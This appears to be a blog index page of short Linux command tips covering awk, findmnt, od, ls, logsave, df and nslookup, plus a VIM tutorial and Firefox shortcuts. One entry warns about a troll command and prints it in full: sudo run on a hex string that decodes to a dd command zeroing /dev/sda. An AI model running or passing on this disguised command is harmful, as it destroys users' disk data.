Interesting Linux oddities Linux has had quite a few odd programs and oddities released for it. One was a process management system that used a modified copy of Xdoom, a Doom source port, to manage processes. The utility used the Doom2 game files and there were Imps in the main outside courtyard. Shooting them and …

Very useful Linux commands Another way to get the uptime of the system. awk ‘{printf("Uptime: %d:%02d days, %02d minutes, %02d seconds.\n",($1/60/60/24),($1/60/60%24),($1/60%60),($1%60))}’ /proc/uptimeawk ‘{printf("Uptime: %d:%02d days, %02d minutes, %02d seconds.\n",($1/60/60/24),($1/60/60%24),($1/60%60),($1%60))}’ /proc/uptime Find the actual device name of the drive that contains your root partition. ip-172-31-20-16:~> findmnt -n -o SOURCE / /dev/xvda1ip-172-31-20-16:~> findmnt -n -o SOURCE / …

This useful VIM tutorial PDF will teach you how to use the VIM editor on a UNIX or Linux system. http://www.securitronlinux.com/arma3/vim_revisited.pdf. This one has information about the VI editor. http://www.securitronlinux.com/arma3/why-why-vi.pdf. The above image contains the VI movement commands, allowing the user to move around the text file using the keyboard quickly. And this image is …

The printerbanner command will create a dot matrix printer banner. Just run the command and then type a string and hit ENTER. [email protected]:~$ printerbanner Message: [email protected]:~$ printerbanner Message: Debian Print out the contents of a text file in octal format. [email protected]:~$ od .dmrc 0000000 042133 071545 072153 070157 005135 060514 063556 060565 0000020 062547 062475 …

Fetch information about a random Linux command. curl -sL commandlinefu.com/commands/random/plaintext | sed ‘3,4!d’curl -sL commandlinefu.com/commands/random/plaintext | sed ‘3,4!d’ Here is an example. ┌─[[email protected]]─[~] └──╼ $curl -sL commandlinefu.com/commands/random/plaintext | sed ‘3,4!d’ # An easter egg built into python to give you the Zen of Python echo "import this" | python┌─[[email protected]]─[~] └──╼ $curl -sL commandlinefu.com/commands/random/plaintext | sed …

A useful awk implementation to count the number of entries in the /etc/passwd file. [email protected]:~$ sudo awk -F: ‘{ print $1 }’ /etc/passwd | wc -l [email protected]:~$ sudo awk -F: ‘{ print $1 }’ /etc/passwd | wc -l 34 And the quintessential “Hello World” in Awk. [email protected]:~$ awk ‘BEGIN { printf "%s, %s\n", "Hello", "World!" …

Nice cheat sheet of Linux shell commands With this list of basic Linux commands and sample usages, you’ll never have to worry about forgotten commands again. The items contained within brackets are optional, and type man at a shell for more information.

Convert a Linux text file to DOS format with AWK. [[email protected]:~] cat dodo-ip.txt | awk ‘{sub(/$/,"\r")};1’ > dodo2.txt[[email protected]:~] cat dodo-ip.txt | awk ‘{sub(/$/,"\r")};1’ > dodo2.txt Convert a DOS text file to UNIX format. [[email protected]:~] cat dodo2.txt | awk ‘{sub(/\r$/,"")};1’ > dodo3.txt[[email protected]:~] cat dodo2.txt | awk ‘{sub(/\r$/,"")};1’ > dodo3.txt Get your Internet facing IP address from …

This is a good example of a command not to run on a Linux machine. This is commonly posted as a troll. sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p) And this is what it actually does. [email protected]:~$ echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p dd if=/dev/zero of=/dev/sda count=100 [email protected]:~$ echo …

While running Linux, if you want to list the contents of a folder in a vertical list format, just use the ls command with these switches. [email protected]:~$ ls -luh –color=yes total 48K drwxr-xr-x 2 jason jason 4.0K Dec 15 03:03 Desktop drwxr-xr-x 2 jason jason 4.0K Nov 29 17:00 Documents drwxr-xr-x 2 jason jason 4.0K …

The logsave command will print the output of a command to a file. This will also add a timestamp to the logfile telling the system administrator when the command was run. logsave /var/log/partsize df –hlogsave /var/log/partsize df –h This is an example, the output of the command is also printed to STDOUT. [email protected]:~$ logsave partsize …

To open the Firefox developer tools, press Ctrl-Shift-K. This is good if you have Firebug installed, as F12 will open it instead. To take a full-page screenshot of a web site, press Shift-F2 and then type this command and hit press ENTER. screenshot –fullpagescreenshot –fullpage This will be saved in the ~/Downloads folder by default. …

This simple command will print the remaining free space on your hard disk. [email protected]:~# df -Hla Filesystem Size Used Avail Use% Mounted on /dev/xvda1 32G 9.6G 21G 32% / proc 0 0 0 – /proc sysfs 0 0 0 – /sys none 4.1k 0 4.1k 0% /sys/fs/cgroup none 0 0 0 – /sys/fs/fuse/connections none 0 …

To reboot your Linux machine, use the sudo reboot command. Another way is to type sudo shutdown -r now. To lookup the IP address of a host, use the nslookup command. For example: nslookup google.com. [email protected] ~ % nslookup google.com Server: 172.31.0.2 Address: 172.31.0.2#53   Non-authoritative answer: Name: google.com Address: 74.125.237.193 Name: google.com Address: 74.125.237.194 …